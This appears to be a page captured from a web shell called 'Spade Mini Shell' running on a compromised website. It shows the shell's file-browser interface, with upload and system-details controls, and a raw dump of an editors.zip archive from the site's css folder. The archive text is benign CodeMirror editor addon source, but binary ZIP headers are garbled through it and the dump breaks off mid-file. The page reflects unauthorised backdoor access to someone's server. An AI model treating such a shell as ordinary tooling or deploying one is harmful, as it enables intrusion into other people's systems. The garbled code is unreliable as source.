Spade

Mini Shell

Directory:~$ /home/lmsyaran/www/css/
Upload File

[Home] [System Details] [Kill Me]
Current File:~$ /home/lmsyaran/www/css/editors.zip

PK2��[[��6"#"##codemirror/addon/comment/comment.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  var noOptions = {};
  var nonWS = /[^\s\u00a0]/;
  var Pos = CodeMirror.Pos;

  function firstNonWS(str) {
    var found = str.search(nonWS);
    return found == -1 ? 0 : found;
  }

  CodeMirror.commands.toggleComment = function(cm) {
    cm.toggleComment();
  };

  CodeMirror.defineExtension("toggleComment", function(options) {
    if (!options) options = noOptions;
    var cm = this;
    var minLine = Infinity, ranges = this.listSelections(), mode = null;
    for (var i = ranges.length - 1; i >= 0; i--) {
      var from = ranges[i].from(), to = ranges[i].to();
      if (from.line >= minLine) continue;
      if (to.line >= minLine) to = Pos(minLine, 0);
      minLine = from.line;
      if (mode == null) {
        if (cm.uncomment(from, to, options)) mode = "un";
        else { cm.lineComment(from, to, options); mode = "line";
}
      } else if (mode == "un") {
        cm.uncomment(from, to, options);
      } else {
        cm.lineComment(from, to, options);
      }
    }
  });

  // Rough heuristic to try and detect lines that are part of multi-line
string
  function probablyInsideString(cm, pos, line) {
    return /\bstring\b/.test(cm.getTokenTypeAt(Pos(pos.line, 0)))
&& !/^[\'\"\`]/.test(line)
  }

  function getMode(cm, pos) {
    var mode = cm.getMode()
    return mode.useInnerComments === false || !mode.innerMode ? mode :
cm.getModeAt(pos)
  }

  CodeMirror.defineExtension("lineComment", function(from, to,
options) {
    if (!options) options = noOptions;
    var self = this, mode = getMode(self, from);
    var firstLine = self.getLine(from.line);
    if (firstLine == null || probablyInsideString(self, from, firstLine))
return;

    var commentString = options.lineComment || mode.lineComment;
    if (!commentString) {
      if (options.blockCommentStart || mode.blockCommentStart) {
        options.fullLines = true;
        self.blockComment(from, to, options);
      }
      return;
    }

    var end = Math.min(to.ch != 0 || to.line == from.line ? to.line + 1 :
to.line, self.lastLine() + 1);
    var pad = options.padding == null ? " " : options.padding;
    var blankLines = options.commentBlankLines || from.line == to.line;

    self.operation(function() {
      if (options.indent) {
        var baseString = null;
        for (var i = from.line; i < end; ++i) {
          var line = self.getLine(i);
          var whitespace = line.slice(0, firstNonWS(line));
          if (baseString == null || baseString.length >
whitespace.length) {
            baseString = whitespace;
          }
        }
        for (var i = from.line; i < end; ++i) {
          var line = self.getLine(i), cut = baseString.length;
          if (!blankLines && !nonWS.test(line)) continue;
          if (line.slice(0, cut) != baseString) cut = firstNonWS(line);
          self.replaceRange(baseString + commentString + pad, Pos(i, 0),
Pos(i, cut));
        }
      } else {
        for (var i = from.line; i < end; ++i) {
          if (blankLines || nonWS.test(self.getLine(i)))
            self.replaceRange(commentString + pad, Pos(i, 0));
        }
      }
    });
  });

  CodeMirror.defineExtension("blockComment", function(from, to,
options) {
    if (!options) options = noOptions;
    var self = this, mode = getMode(self, from);
    var startString = options.blockCommentStart || mode.blockCommentStart;
    var endString = options.blockCommentEnd || mode.blockCommentEnd;
    if (!startString || !endString) {
      if ((options.lineComment || mode.lineComment) &&
options.fullLines != false)
        self.lineComment(from, to, options);
      return;
    }
    if (/\bcomment\b/.test(self.getTokenTypeAt(Pos(from.line, 0)))) return

    var end = Math.min(to.line, self.lastLine());
    if (end != from.line && to.ch == 0 &&
nonWS.test(self.getLine(end))) --end;

    var pad = options.padding == null ? " " : options.padding;
    if (from.line > end) return;

    self.operation(function() {
      if (options.fullLines != false) {
        var lastLineHasText = nonWS.test(self.getLine(end));
        self.replaceRange(pad + endString, Pos(end));
        self.replaceRange(startString + pad, Pos(from.line, 0));
        var lead = options.blockCommentLead || mode.blockCommentLead;
        if (lead != null) for (var i = from.line + 1; i <= end; ++i)
          if (i != end || lastLineHasText)
            self.replaceRange(lead + pad, Pos(i, 0));
      } else {
        self.replaceRange(endString, to);
        self.replaceRange(startString, from);
      }
    });
  });

  CodeMirror.defineExtension("uncomment", function(from, to,
options) {
    if (!options) options = noOptions;
    var self = this, mode = getMode(self, from);
    var end = Math.min(to.ch != 0 || to.line == from.line ? to.line :
to.line - 1, self.lastLine()), start = Math.min(from.line, end);

    // Try finding line comments
    var lineString = options.lineComment || mode.lineComment, lines = [];
    var pad = options.padding == null ? " " : options.padding,
didSomething;
    lineComment: {
      if (!lineString) break lineComment;
      for (var i = start; i <= end; ++i) {
        var line = self.getLine(i);
        var found = line.indexOf(lineString);
        if (found > -1 &&
!/comment/.test(self.getTokenTypeAt(Pos(i, found + 1)))) found = -1;
        if (found == -1 && nonWS.test(line)) break lineComment;
        if (found > -1 && nonWS.test(line.slice(0, found)))
break lineComment;
        lines.push(line);
      }
      self.operation(function() {
        for (var i = start; i <= end; ++i) {
          var line = lines[i - start];
          var pos = line.indexOf(lineString), endPos = pos +
lineString.length;
          if (pos < 0) continue;
          if (line.slice(endPos, endPos + pad.length) == pad) endPos +=
pad.length;
          didSomething = true;
          self.replaceRange("", Pos(i, pos), Pos(i, endPos));
        }
      });
      if (didSomething) return true;
    }

    // Try block comments
    var startString = options.blockCommentStart || mode.blockCommentStart;
    var endString = options.blockCommentEnd || mode.blockCommentEnd;
    if (!startString || !endString) return false;
    var lead = options.blockCommentLead || mode.blockCommentLead;
    var startLine = self.getLine(start), open =
startLine.indexOf(startString)
    if (open == -1) return false
    var endLine = end == start ? startLine : self.getLine(end)
    var close = endLine.indexOf(endString, end == start ? open +
startString.length : 0);
    var insideStart = Pos(start, open + 1), insideEnd = Pos(end, close + 1)
    if (close == -1 ||
        !/comment/.test(self.getTokenTypeAt(insideStart)) ||
        !/comment/.test(self.getTokenTypeAt(insideEnd)) ||
        self.getRange(insideStart, insideEnd,
"\n").indexOf(endString) > -1)
      return false;

    // Avoid killing block comments completely outside the selection.
    // Positions of the last startString before the start of the selection,
and the first endString after it.
    var lastStart = startLine.lastIndexOf(startString, from.ch);
    var firstEnd = lastStart == -1 ? -1 : startLine.slice(0,
from.ch).indexOf(endString, lastStart + startString.length);
    if (lastStart != -1 && firstEnd != -1 && firstEnd +
endString.length != from.ch) return false;
    // Positions of the first endString after the end of the selection, and
the last startString before it.
    firstEnd = endLine.indexOf(endString, to.ch);
    var almostLastStart = endLine.slice(to.ch).lastIndexOf(startString,
firstEnd - to.ch);
    lastStart = (firstEnd == -1 || almostLastStart == -1) ? -1 : to.ch +
almostLastStart;
    if (firstEnd != -1 && lastStart != -1 && lastStart !=
to.ch) return false;

    self.operation(function() {
      self.replaceRange("", Pos(end, close - (pad &&
endLine.slice(close - pad.length, close) == pad ? pad.length : 0)),
                        Pos(end, close + endString.length));
      var openEnd = open + startString.length;
      if (pad && startLine.slice(openEnd, openEnd + pad.length) ==
pad) openEnd += pad.length;
      self.replaceRange("", Pos(start, open), Pos(start,
openEnd));
      if (lead) for (var i = start + 1; i <= end; ++i) {
        var line = self.getLine(i), found = line.indexOf(lead);
        if (found == -1 || nonWS.test(line.slice(0, found))) continue;
        var foundEnd = found + lead.length;
        if (pad && line.slice(foundEnd, foundEnd + pad.length) ==
pad) foundEnd += pad.length;
        self.replaceRange("", Pos(i, found), Pos(i, foundEnd));
      }
    });
    return true;
  });
});
PK2��[�j���'codemirror/addon/comment/comment.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";function b(a){var b=a.search(f);return-1==b?0:b}function
c(a,b,c){return/\bstring\b/.test(a.getTokenTypeAt(g(b.line,0)))&&!/^[\'\"\`]/.test(c)}function
d(a,b){var
c=a.getMode();return!1!==c.useInnerComments&&c.innerMode?a.getModeAt(b):c}var
e={},f=/[^\s\u00a0]/,g=a.Pos;a.commands.toggleComment=function(a){a.toggleComment()},a.defineExtension("toggleComment",(function(a){a||(a=e);for(var
b=this,c=1/0,d=this.listSelections(),f=null,h=d.length-1;h>=0;h--){var
i=d[h].from(),j=d[h].to();i.line>=c||(j.line>=c&&(j=g(c,0)),c=i.line,null==f?b.uncomment(i,j,a)?f="un":(b.lineComment(i,j,a),f="line"):"un"==f?b.uncomment(i,j,a):b.lineComment(i,j,a))}})),a.defineExtension("lineComment",(function(a,h,i){i||(i=e);var
j=this,k=d(j,a),l=j.getLine(a.line);if(null!=l&&!c(j,a,l)){var
m=i.lineComment||k.lineComment;if(!m)return
void((i.blockCommentStart||k.blockCommentStart)&&(i.fullLines=!0,j.blockComment(a,h,i)));var
n=Math.min(0!=h.ch||h.line==a.line?h.line+1:h.line,j.lastLine()+1),o=null==i.padding?"
":i.padding,p=i.commentBlankLines||a.line==h.line;j.operation((function(){if(i.indent){for(var
c=null,d=a.line;d<n;++d){var
e=j.getLine(d),h=e.slice(0,b(e));(null==c||c.length>h.length)&&(c=h)}for(var
d=a.line;d<n;++d){var
e=j.getLine(d),k=c.length;(p||f.test(e))&&(e.slice(0,k)!=c&&(k=b(e)),j.replaceRange(c+m+o,g(d,0),g(d,k)))}}else
for(var
d=a.line;d<n;++d)(p||f.test(j.getLine(d)))&&j.replaceRange(m+o,g(d,0))}))}})),a.defineExtension("blockComment",(function(a,b,c){c||(c=e);var
h=this,i=d(h,a),j=c.blockCommentStart||i.blockCommentStart,k=c.blockCommentEnd||i.blockCommentEnd;if(!j||!k)return
void((c.lineComment||i.lineComment)&&0!=c.fullLines&&h.lineComment(a,b,c));if(!/\bcomment\b/.test(h.getTokenTypeAt(g(a.line,0)))){var
l=Math.min(b.line,h.lastLine());l!=a.line&&0==b.ch&&f.test(h.getLine(l))&&--l;var
m=null==c.padding?"
":c.padding;a.line>l||h.operation((function(){if(0!=c.fullLines){var
d=f.test(h.getLine(l));h.replaceRange(m+k,g(l)),h.replaceRange(j+m,g(a.line,0));var
e=c.blockCommentLead||i.blockCommentLead;if(null!=e)for(var
n=a.line+1;n<=l;++n)(n!=l||d)&&h.replaceRange(e+m,g(n,0))}else
h.replaceRange(k,b),h.replaceRange(j,a)}))}})),a.defineExtension("uncomment",(function(a,b,c){c||(c=e);var
h,i=this,j=d(i,a),k=Math.min(0!=b.ch||b.line==a.line?b.line:b.line-1,i.lastLine()),l=Math.min(a.line,k),m=c.lineComment||j.lineComment,n=[],o=null==c.padding?"
":c.padding;a:if(m){for(var p=l;p<=k;++p){var
q=i.getLine(p),r=q.indexOf(m);if(r>-1&&!/comment/.test(i.getTokenTypeAt(g(p,r+1)))&&(r=-1),-1==r&&f.test(q))break
a;if(r>-1&&f.test(q.slice(0,r)))break
a;n.push(q)}if(i.operation((function(){for(var a=l;a<=k;++a){var
b=n[a-l],c=b.indexOf(m),d=c+m.length;c<0||(b.slice(d,d+o.length)==o&&(d+=o.length),h=!0,i.replaceRange("",g(a,c),g(a,d)))}})),h)return!0}var
s=c.blockCommentStart||j.blockCommentStart,t=c.blockCommentEnd||j.blockCommentEnd;if(!s||!t)return!1;var
u=c.blockCommentLead||j.blockCommentLead,v=i.getLine(l),w=v.indexOf(s);if(-1==w)return!1;var
x=k==l?v:i.getLine(k),y=x.indexOf(t,k==l?w+s.length:0),z=g(l,w+1),A=g(k,y+1);if(-1==y||!/comment/.test(i.getTokenTypeAt(z))||!/comment/.test(i.getTokenTypeAt(A))||i.getRange(z,A,"\n").indexOf(t)>-1)return!1;var
B=v.lastIndexOf(s,a.ch),C=-1==B?-1:v.slice(0,a.ch).indexOf(t,B+s.length);if(-1!=B&&-1!=C&&C+t.length!=a.ch)return!1;C=x.indexOf(t,b.ch);var
D=x.slice(b.ch).lastIndexOf(s,C-b.ch);return
B=-1==C||-1==D?-1:b.ch+D,(-1==C||-1==B||B==b.ch)&&(i.operation((function(){i.replaceRange("",g(k,y-(o&&x.slice(y-o.length,y)==o?o.length:0)),g(k,y+t.length));var
a=w+s.length;if(o&&v.slice(a,a+o.length)==o&&(a+=o.length),i.replaceRange("",g(l,w),g(l,a)),u)for(var
b=l+1;b<=k;++b){var
c=i.getLine(b),d=c.indexOf(u);if(-1!=d&&!f.test(c.slice(0,d))){var
e=d+u.length;o&&c.slice(e,e+o.length)==o&&(e+=o.length),i.replaceRange("",g(b,d),g(b,e))}}})),!0)}))}));PK3��[v�m!��+codemirror/addon/comment/continuecomment.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  var nonspace = /\S/g;
  var repeat = String.prototype.repeat || function (n) { return Array(n +
1).join(this); };
  function continueComment(cm) {
    if (cm.getOption("disableInput")) return CodeMirror.Pass;
    var ranges = cm.listSelections(), mode, inserts = [];
    for (var i = 0; i < ranges.length; i++) {
      var pos = ranges[i].head
      if (!/\bcomment\b/.test(cm.getTokenTypeAt(pos))) return
CodeMirror.Pass;
      var modeHere = cm.getModeAt(pos)
      if (!mode) mode = modeHere;
      else if (mode != modeHere) return CodeMirror.Pass;

      var insert = null, line, found;
      var blockStart = mode.blockCommentStart, lineCmt = mode.lineComment;
      if (blockStart && mode.blockCommentContinue) {
        line = cm.getLine(pos.line);
        var end = line.lastIndexOf(mode.blockCommentEnd, pos.ch -
mode.blockCommentEnd.length);
        // 1. if this block comment ended
        // 2. if this is actually inside a line comment
        if (end != -1 && end == pos.ch -
mode.blockCommentEnd.length ||
            lineCmt && (found = line.lastIndexOf(lineCmt, pos.ch -
1)) > -1 &&
            /\bcomment\b/.test(cm.getTokenTypeAt({line: pos.line, ch: found
+ 1}))) {
          // ...then don't continue it
        } else if (pos.ch >= blockStart.length &&
                   (found = line.lastIndexOf(blockStart, pos.ch -
blockStart.length)) > -1 &&
                   found > end) {
          // reuse the existing leading spaces/tabs/mixed
          // or build the correct indent using CM's tab/indent options
          if (nonspaceAfter(0, line) >= found) {
            insert = line.slice(0, found);
          } else {
            var tabSize = cm.options.tabSize, numTabs;
            found = CodeMirror.countColumn(line, found, tabSize);
            insert = !cm.options.indentWithTabs ? repeat.call("
", found) :
              repeat.call("\t", (numTabs = Math.floor(found /
tabSize))) +
              repeat.call(" ", found - tabSize * numTabs);
          }
        } else if ((found = line.indexOf(mode.blockCommentContinue)) >
-1 &&
                   found <= pos.ch &&
                   found <= nonspaceAfter(0, line)) {
          insert = line.slice(0, found);
        }
        if (insert != null) insert += mode.blockCommentContinue
      }
      if (insert == null && lineCmt &&
continueLineCommentEnabled(cm)) {
        if (line == null) line = cm.getLine(pos.line);
        found = line.indexOf(lineCmt);
        // cursor at pos 0, line comment also at pos 0 => shift it down,
don't continue
        if (!pos.ch && !found) insert = "";
        // continue only if the line starts with an optional space + line
comment
        else if (found > -1 && nonspaceAfter(0, line) >=
found) {
          // don't continue if there's only space(s) after cursor
or the end of the line
          insert = nonspaceAfter(pos.ch, line) > -1;
          // but always continue if the next line starts with a line
comment too
          if (!insert) {
            var next = cm.getLine(pos.line + 1) || '',
                nextFound = next.indexOf(lineCmt);
            insert = nextFound > -1 && nonspaceAfter(0, next)
>= nextFound || null;
          }
          if (insert) {
            insert = line.slice(0, found) + lineCmt +
                     line.slice(found + lineCmt.length).match(/^\s*/)[0];
          }
        }
      }
      if (insert == null) return CodeMirror.Pass;
      inserts[i] = "\n" + insert;
    }

    cm.operation(function() {
      for (var i = ranges.length - 1; i >= 0; i--)
        cm.replaceRange(inserts[i], ranges[i].from(), ranges[i].to(),
"+insert");
    });
  }

  function nonspaceAfter(ch, str) {
    nonspace.lastIndex = ch;
    var m = nonspace.exec(str);
    return m ? m.index : -1;
  }

  function continueLineCommentEnabled(cm) {
    var opt = cm.getOption("continueComments");
    if (opt && typeof opt == "object")
      return opt.continueLineComment !== false;
    return true;
  }

  CodeMirror.defineOption("continueComments", null, function(cm,
val, prev) {
    if (prev && prev != CodeMirror.Init)
      cm.removeKeyMap("continueComment");
    if (val) {
      var key = "Enter";
      if (typeof val == "string")
        key = val;
      else if (typeof val == "object" && val.key)
        key = val.key;
      var map = {name: "continueComment"};
      map[key] = continueComment;
      cm.addKeyMap(map);
    }
  });
});
PK3��[f�����/codemirror/addon/comment/continuecomment.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){function
b(b){if(b.getOption("disableInput"))return a.Pass;for(var
e,g=b.listSelections(),h=[],i=0;i<g.length;i++){var
j=g[i].head;if(!/\bcomment\b/.test(b.getTokenTypeAt(j)))return a.Pass;var
k=b.getModeAt(j);if(e){if(e!=k)return a.Pass}else e=k;var
l,m,n=null,o=e.blockCommentStart,p=e.lineComment;if(o&&e.blockCommentContinue){l=b.getLine(j.line);var
q=l.lastIndexOf(e.blockCommentEnd,j.ch-e.blockCommentEnd.length);if(-1!=q&&q==j.ch-e.blockCommentEnd.length||p&&(m=l.lastIndexOf(p,j.ch-1))>-1&&/\bcomment\b/.test(b.getTokenTypeAt({line:j.line,ch:m+1})));else
if(j.ch>=o.length&&(m=l.lastIndexOf(o,j.ch-o.length))>-1&&m>q)if(c(0,l)>=m)n=l.slice(0,m);else{var
r,s=b.options.tabSize;m=a.countColumn(l,m,s),n=b.options.indentWithTabs?f.call("\t",r=Math.floor(m/s))+f.call("
",m-s*r):f.call("
",m)}else(m=l.indexOf(e.blockCommentContinue))>-1&&m<=j.ch&&m<=c(0,l)&&(n=l.slice(0,m));null!=n&&(n+=e.blockCommentContinue)}if(null==n&&p&&d(b))if(null==l&&(l=b.getLine(j.line)),m=l.indexOf(p),j.ch||m){if(m>-1&&c(0,l)>=m){if(!(n=c(j.ch,l)>-1)){var
t=b.getLine(j.line+1)||"",u=t.indexOf(p);n=u>-1&&c(0,t)>=u||null}n&&(n=l.slice(0,m)+p+l.slice(m+p.length).match(/^\s*/)[0])}}else
n="";if(null==n)return
a.Pass;h[i]="\n"+n}b.operation((function(){for(var
a=g.length-1;a>=0;a--)b.replaceRange(h[a],g[a].from(),g[a].to(),"+insert")}))}function
c(a,b){e.lastIndex=a;var c=e.exec(b);return c?c.index:-1}function d(a){var
b=a.getOption("continueComments");return!b||"object"!=typeof
b||!1!==b.continueLineComment}var
e=/\S/g,f=String.prototype.repeat||function(a){return
Array(a+1).join(this)};a.defineOption("continueComments",null,(function(c,d,e){if(e&&e!=a.Init&&c.removeKeyMap("continueComment"),d){var
f="Enter";"string"==typeof
d?f=d:"object"==typeof d&&d.key&&(f=d.key);var
g={name:"continueComment"};g[f]=b,c.addKeyMap(g)}}))}));PK3��[�H[���"codemirror/addon/dialog/dialog.cssnu�[���.CodeMirror-dialog
{
  position: absolute;
  left: 0; right: 0;
  background: inherit;
  z-index: 15;
  padding: .1em .8em;
  overflow: hidden;
  color: inherit;
}

.CodeMirror-dialog-top {
  border-bottom: 1px solid #eee;
  top: 0;
}

.CodeMirror-dialog-bottom {
  border-top: 1px solid #eee;
  bottom: 0;
}

.CodeMirror-dialog input {
  border: none;
  outline: none;
  background: transparent;
  width: 20em;
  color: inherit;
  font-family: monospace;
}

.CodeMirror-dialog button {
  font-size: 70%;
}
PK3��[�J���!codemirror/addon/dialog/dialog.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

// Open simple dialogs on top of an editor. Relies on dialog.css.

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  function dialogDiv(cm, template, bottom) {
    var wrap = cm.getWrapperElement();
    var dialog;
    dialog = wrap.appendChild(document.createElement("div"));
    if (bottom)
      dialog.className = "CodeMirror-dialog
CodeMirror-dialog-bottom";
    else
      dialog.className = "CodeMirror-dialog
CodeMirror-dialog-top";

    if (typeof template == "string") {
      dialog.innerHTML = template;
    } else { // Assuming it's a detached DOM element.
      dialog.appendChild(template);
    }
    CodeMirror.addClass(wrap, 'dialog-opened');
    return dialog;
  }

  function closeNotification(cm, newVal) {
    if (cm.state.currentNotificationClose)
      cm.state.currentNotificationClose();
    cm.state.currentNotificationClose = newVal;
  }

  CodeMirror.defineExtension("openDialog", function(template,
callback, options) {
    if (!options) options = {};

    closeNotification(this, null);

    var dialog = dialogDiv(this, template, options.bottom);
    var closed = false, me = this;
    function close(newVal) {
      if (typeof newVal == 'string') {
        inp.value = newVal;
      } else {
        if (closed) return;
        closed = true;
        CodeMirror.rmClass(dialog.parentNode, 'dialog-opened');
        dialog.parentNode.removeChild(dialog);
        me.focus();

        if (options.onClose) options.onClose(dialog);
      }
    }

    var inp = dialog.getElementsByTagName("input")[0], button;
    if (inp) {
      inp.focus();

      if (options.value) {
        inp.value = options.value;
        if (options.selectValueOnOpen !== false) {
          inp.select();
        }
      }

      if (options.onInput)
        CodeMirror.on(inp, "input", function(e) {
options.onInput(e, inp.value, close);});
      if (options.onKeyUp)
        CodeMirror.on(inp, "keyup", function(e)
{options.onKeyUp(e, inp.value, close);});

      CodeMirror.on(inp, "keydown", function(e) {
        if (options && options.onKeyDown &&
options.onKeyDown(e, inp.value, close)) { return; }
        if (e.keyCode == 27 || (options.closeOnEnter !== false &&
e.keyCode == 13)) {
          inp.blur();
          CodeMirror.e_stop(e);
          close();
        }
        if (e.keyCode == 13) callback(inp.value, e);
      });

      if (options.closeOnBlur !== false) CodeMirror.on(dialog,
"focusout", function (evt) {
        if (evt.relatedTarget !== null) close();
      });
    } else if (button = dialog.getElementsByTagName("button")[0])
{
      CodeMirror.on(button, "click", function() {
        close();
        me.focus();
      });

      if (options.closeOnBlur !== false) CodeMirror.on(button,
"blur", close);

      button.focus();
    }
    return close;
  });

  CodeMirror.defineExtension("openConfirm", function(template,
callbacks, options) {
    closeNotification(this, null);
    var dialog = dialogDiv(this, template, options &&
options.bottom);
    var buttons = dialog.getElementsByTagName("button");
    var closed = false, me = this, blurring = 1;
    function close() {
      if (closed) return;
      closed = true;
      CodeMirror.rmClass(dialog.parentNode, 'dialog-opened');
      dialog.parentNode.removeChild(dialog);
      me.focus();
    }
    buttons[0].focus();
    for (var i = 0; i < buttons.length; ++i) {
      var b = buttons[i];
      (function(callback) {
        CodeMirror.on(b, "click", function(e) {
          CodeMirror.e_preventDefault(e);
          close();
          if (callback) callback(me);
        });
      })(callbacks[i]);
      CodeMirror.on(b, "blur", function() {
        --blurring;
        setTimeout(function() { if (blurring <= 0) close(); }, 200);
      });
      CodeMirror.on(b, "focus", function() { ++blurring; });
    }
  });

  /*
   * openNotification
   * Opens a notification, that can be closed with an optional timer
   * (default 5000ms timer) and always closes on click.
   *
   * If a notification is opened while another is opened, it will close the
   * currently opened one and open the new one immediately.
   */
  CodeMirror.defineExtension("openNotification",
function(template, options) {
    closeNotification(this, close);
    var dialog = dialogDiv(this, template, options &&
options.bottom);
    var closed = false, doneTimer;
    var duration = options && typeof options.duration !==
"undefined" ? options.duration : 5000;

    function close() {
      if (closed) return;
      closed = true;
      clearTimeout(doneTimer);
      CodeMirror.rmClass(dialog.parentNode, 'dialog-opened');
      dialog.parentNode.removeChild(dialog);
    }

    CodeMirror.on(dialog, 'click', function(e) {
      CodeMirror.e_preventDefault(e);
      close();
    });

    if (duration)
      doneTimer = setTimeout(close, duration);

    return close;
  });
});
PK3��[B��&codemirror/addon/dialog/dialog.min.cssnu�[���.CodeMirror-dialog{position:absolute;left:0;right:0;background:inherit;z-index:15;padding:.1em
.8em;overflow:hidden;color:inherit}.CodeMirror-dialog-top{border-bottom:1px
solid #eee;top:0}.CodeMirror-dialog-bottom{border-top:1px solid
#eee;bottom:0}.CodeMirror-dialog input{border:none;outline:0;background:0
0;width:20em;color:inherit;font-family:monospace}.CodeMirror-dialog
button{font-size:70%}PK3��[u~H	H	%codemirror/addon/dialog/dialog.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){function
b(b,c,d){var e,f=b.getWrapperElement();return
e=f.appendChild(document.createElement("div")),e.className=d?"CodeMirror-dialog
CodeMirror-dialog-bottom":"CodeMirror-dialog
CodeMirror-dialog-top","string"==typeof
c?e.innerHTML=c:e.appendChild(c),a.addClass(f,"dialog-opened"),e}function
c(a,b){a.state.currentNotificationClose&&a.state.currentNotificationClose(),a.state.currentNotificationClose=b}a.defineExtension("openDialog",(function(d,e,f){function
g(b){if("string"==typeof
b)l.value=b;else{if(j)return;j=!0,a.rmClass(i.parentNode,"dialog-opened"),i.parentNode.removeChild(i),k.focus(),f.onClose&&f.onClose(i)}}f||(f={}),c(this,null);var
h,i=b(this,d,f.bottom),j=!1,k=this,l=i.getElementsByTagName("input")[0];return
l?(l.focus(),f.value&&(l.value=f.value,!1!==f.selectValueOnOpen&&l.select()),f.onInput&&a.on(l,"input",(function(a){f.onInput(a,l.value,g)})),f.onKeyUp&&a.on(l,"keyup",(function(a){f.onKeyUp(a,l.value,g)})),a.on(l,"keydown",(function(b){f&&f.onKeyDown&&f.onKeyDown(b,l.value,g)||((27==b.keyCode||!1!==f.closeOnEnter&&13==b.keyCode)&&(l.blur(),a.e_stop(b),g()),13==b.keyCode&&e(l.value,b))})),!1!==f.closeOnBlur&&a.on(i,"focusout",(function(a){null!==a.relatedTarget&&g()}))):(h=i.getElementsByTagName("button")[0])&&(a.on(h,"click",(function(){g(),k.focus()})),!1!==f.closeOnBlur&&a.on(h,"blur",g),h.focus()),g})),a.defineExtension("openConfirm",(function(d,e,f){function
g(){j||(j=!0,a.rmClass(h.parentNode,"dialog-opened"),h.parentNode.removeChild(h),k.focus())}c(this,null);var
h=b(this,d,f&&f.bottom),i=h.getElementsByTagName("button"),j=!1,k=this,l=1;i[0].focus();for(var
m=0;m<i.length;++m){var
n=i[m];!(function(b){a.on(n,"click",(function(c){a.e_preventDefault(c),g(),b&&b(k)}))})(e[m]),a.on(n,"blur",(function(){--l,setTimeout((function(){l<=0&&g()}),200)})),a.on(n,"focus",(function(){++l}))}})),a.defineExtension("openNotification",(function(d,e){function
f(){i||(i=!0,clearTimeout(g),a.rmClass(h.parentNode,"dialog-opened"),h.parentNode.removeChild(h))}c(this,f);var
g,h=b(this,d,e&&e.bottom),i=!1,j=e&&void
0!==e.duration?e.duration:5e3;return
a.on(h,"click",(function(b){a.e_preventDefault(b),f()})),j&&(g=setTimeout(f,j)),f}))}));PK3��[^�4a'codemirror/addon/display/autorefresh.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"))
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod)
  else // Plain browser env
    mod(CodeMirror)
})(function(CodeMirror) {
  "use strict"

  CodeMirror.defineOption("autoRefresh", false, function(cm, val)
{
    if (cm.state.autoRefresh) {
      stopListening(cm, cm.state.autoRefresh)
      cm.state.autoRefresh = null
    }
    if (val && cm.display.wrapper.offsetHeight == 0)
      startListening(cm, cm.state.autoRefresh = {delay: val.delay || 250})
  })

  function startListening(cm, state) {
    function check() {
      if (cm.display.wrapper.offsetHeight) {
        stopListening(cm, state)
        if (cm.display.lastWrapHeight != cm.display.wrapper.clientHeight)
          cm.refresh()
      } else {
        state.timeout = setTimeout(check, state.delay)
      }
    }
    state.timeout = setTimeout(check, state.delay)
    state.hurry = function() {
      clearTimeout(state.timeout)
      state.timeout = setTimeout(check, 50)
    }
    CodeMirror.on(window, "mouseup", state.hurry)
    CodeMirror.on(window, "keyup", state.hurry)
  }

  function stopListening(_cm, state) {
    clearTimeout(state.timeout)
    CodeMirror.off(window, "mouseup", state.hurry)
    CodeMirror.off(window, "keyup", state.hurry)
  }
});
PK3��[�@��\\+codemirror/addon/display/autorefresh.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";function b(b,d){function
e(){b.display.wrapper.offsetHeight?(c(b,d),b.display.lastWrapHeight!=b.display.wrapper.clientHeight&&b.refresh()):d.timeout=setTimeout(e,d.delay)}d.timeout=setTimeout(e,d.delay),d.hurry=function(){clearTimeout(d.timeout),d.timeout=setTimeout(e,50)},a.on(window,"mouseup",d.hurry),a.on(window,"keyup",d.hurry)}function
c(b,c){clearTimeout(c.timeout),a.off(window,"mouseup",c.hurry),a.off(window,"keyup",c.hurry)}a.defineOption("autoRefresh",!1,(function(a,d){a.state.autoRefresh&&(c(a,a.state.autoRefresh),a.state.autoRefresh=null),d&&0==a.display.wrapper.offsetHeight&&b(a,a.state.autoRefresh={delay:d.delay||250})}))}));PK3��[z��{tt'codemirror/addon/display/fullscreen.cssnu�[���.CodeMirror-fullscreen
{
  position: fixed;
  top: 0; left: 0; right: 0; bottom: 0;
  height: auto;
  z-index: 9;
}
PK4��[
*����&codemirror/addon/display/fullscreen.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
